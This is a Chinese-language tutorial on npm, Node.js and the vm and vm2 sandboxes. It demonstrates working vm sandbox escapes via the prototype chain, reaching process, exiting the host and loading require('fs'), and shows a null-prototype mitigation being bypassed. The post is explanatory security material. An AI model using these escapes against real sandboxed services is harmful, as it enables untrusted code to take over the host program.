NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。
NPM由三部分组成:网站,注册表(registry),命令行工具(CLI)。
Node.js,是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O模型,让JavaScript 运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。
( npm是用 JavaScript 写的,运行在 Node.js 上,Node.js 内置了 npm,npm 的发展是跟 Node.js 的发展相辅相成的。)
简单来说, Node.js 就是运行在服务端的JavaScript,npm是随同Node.js一起安装的包管理工具,通过命令从npm服务器下载别人编写的第三方工具到本地使用。
VM:Node.js官方标准库中有一个vm库,用来在V8虚拟机环境中编译执行JS代码,。通常,用vm库来实现一个沙箱,在代码主程序之外执行额外的JS脚本。有时,需要vm虚拟机来执行不受信任的代码。
但是VM不安全,能轻易地获取到了主程序的全局对象 process,最终控制主程序!
因此VM2诞生,解决了VM的安全问题。
VM2实现原理分析
vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。
vm2 特性:- 运行不受信任的JS脚本
- 沙箱的终端输出信息完全可控
- 沙箱内可以受限地加载modules
- 可以安全地向沙箱间传递callback
- 死循环攻击免疫while (true) {
Sandbox(又叫沙箱、沙盘)即是一个虚拟系统程序,允许你在沙盘环境中运行浏览器或其他程序,因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。 在网络安全中,沙箱指在隔离环境中,用以测试不受信任的文件或应用程序等行为的工具。
VM沙盒 (功能是隔离上下文环境)
const vm = require('vm'); const context = { animal: 'cat', count: 2 }; const script = new vm.Script('count += 1; name = "kitty";'); //编译code vm.createContext(context); // 创建一个上下文隔离对象 for (let i = 0; i < 10; ++i) { script.runInContext(context); // 在指定的下文里执行code并返回其结果 } console.log(context); // 打印: { animal: 'cat', count: 12, name: 'kitty' } //注:使用constructor可以构造逃逸
浅谈Node.js沙盒逃逸
const vm = require("vm"); const ctx = {}; vm.runInNewContext( 'this.constructor.constructor("return process")().exit()', ctx ); console.log("Never gets executed."); //以上示例拆分: tmp = ctx.constructor; // Object exec = tmp.constructor; // Function exec("return Process");
constructor: 返回一个对象的构造函数, 一直向前找构造函数,最终找到的就是Function
{}.constructor
=> [Function: Object]
{}.constructor.constructor
=> [Function: Function]
以上示例中 this 指向 ctx 并通过原型链的方式拿到沙盒外的 Funtion,完成逃逸,并执行逃逸后的 JS 代码。
//以上是通过原型链方式完成逃逸,如果将上下文对象的原型链设置为 , null这时沙盒在通过 ctx.constructor,就会出错,也就无法完成沙盒逃逸。 const vm = require("vm"); const ctx = Object.create(null); vm.runInNewContext( 'this.constructor.constructor("return process")().exit()', ctx ); // throw Error //以下示例,成功逃逸 const vm = require("vm"); const ctx = Object.create(null); ctx.data = {}; vm.runInNewContext( 'this.data.constructor.constructor("return process")().exit()', ctx ); // 逃逸成功! console.log("Never gets executed.");
由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function,最终完成沙盒逃逸并执行代码。
逃逸后代码可以执行如下代码拿到 require,从而并加载其他模块功能:
const vm = require("vm"); const ctx = { console, }; vm.runInNewContext( ` var exec = this.constructor.constructor; var require = exec('return process.mainModule.constructor._load')(); console.log(require('fs')); `, ctx );
沙盒执行上下文是隔离的,但可通过原型链的形式获取到沙盒外的 Function,从而实现逃逸,拿到全局数据。